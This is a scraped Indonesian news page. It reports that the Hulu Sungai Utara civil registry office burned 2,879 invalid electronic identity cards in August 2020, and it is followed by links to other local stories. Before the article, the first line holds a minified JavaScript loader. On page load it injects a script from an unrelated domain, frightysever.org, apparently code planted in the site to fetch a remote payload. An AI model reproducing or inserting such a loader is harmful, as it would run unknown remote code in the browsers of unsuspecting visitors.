(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dipastikan Invalid, Disdukcapil HSU Musnahkan Ribuan Keping KTP


KANALKALIMANTAN.COM, AMUNTAI – Dinas Kependudukan dan Catatan Sipil (Disdukcapil) Kabupaten Hulu Sungai Utara (HSU) memusnahkan ribuan keping kartu tanda penduduk elektronik (KTP-El) di halaman kantor Disdukcapil HSU, Rabu (5/8/2020).

Sedikitnya 2.879 keping KTP elektronik tersebut dimusnahkan dengan cara dilobangi terlebih dahulu kemudian dibakar.

Pemusnahan disaksikan Anggota Komisi II DPRD Kabupaten HSU Syahril, Kabid Pelayanan Pencatatan Sipil H Muslim dan Kabid Pindah Datang dan Pendataan Penduduk Disdukcapil HSU Hj Ida Astuti.

Plt Kepala Disdukcapil HSU Hj Ida Rimaliana mengatakan, berita acara pemusnahan blangko KTP elektronik rusak/invalid ini dilaksanakan berdasarkan Surat Edaran Menteri Dalam Negeri nomor: 470.13/1176/SJ tertanggal 13 Desember 2018 tentang penata usahaan KTP-el yang rusak atau invalid.

“Karenanya untuk memenuhi surat edaran tersebut kami melaksanakan pemusnahan barang (KTP-el rusak/invalid) dengan cara dibakar, barang tersebut juga telah diperiksa dan dinyatakan rusak atau invalid dan tidak diperbolehkan untuk digunakan lagi,” ujar Ida.

Disdukcapil Kabupaten HSU memusnahkan ribuan keping KTP-El di halaman kantor Disdukcapil HSU, Rabu (5/8/2020). foto: dew

Menurut Hj Ida, meski tidak ada kaitannya dengan jelang Pilkada 2020 mendatang, pihaknya akan terus melakukan pemusnahan serupa setiap per dua pekan sekali, agar KTP-el yang rusak atau invalid tidak bertumpuk-tumpuk nantinya.

Sedangkan terkait, pendistribusian blangko KTP-El, Ida menyebut selama pandemi Covid-19 berlangsung pihaknya telah berkoordinasi dengan Disdukcapil Provinsi Kalsel untuk pengandaan blangko tersebut.

“Jika keadaan sudah mulai normal kembali, maka Disdukcapil HSU akan melakukan pengambilan blangko KTP-EL kembali ke pusat,” tandasnya.

Sementara itu, Syahril, anggota DPRD HSU mengakui pemusnahan ini sudah sesuai dengan prosedur yang telah ditetapkan.

Dengan adanya pemusnahan ini, ia mengharapkan dari KTP-el yang telah rusak/invalid ini tidak ada yang memanfaatkannya untuk kepentingan tertentu. (kanalkalimantan.com/dew)

Reporter: dew
Editor: bie


Al Ghifari

Recent Posts

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

47 menit ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

1 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

3 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

23 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

1 hari ago

This website uses cookies.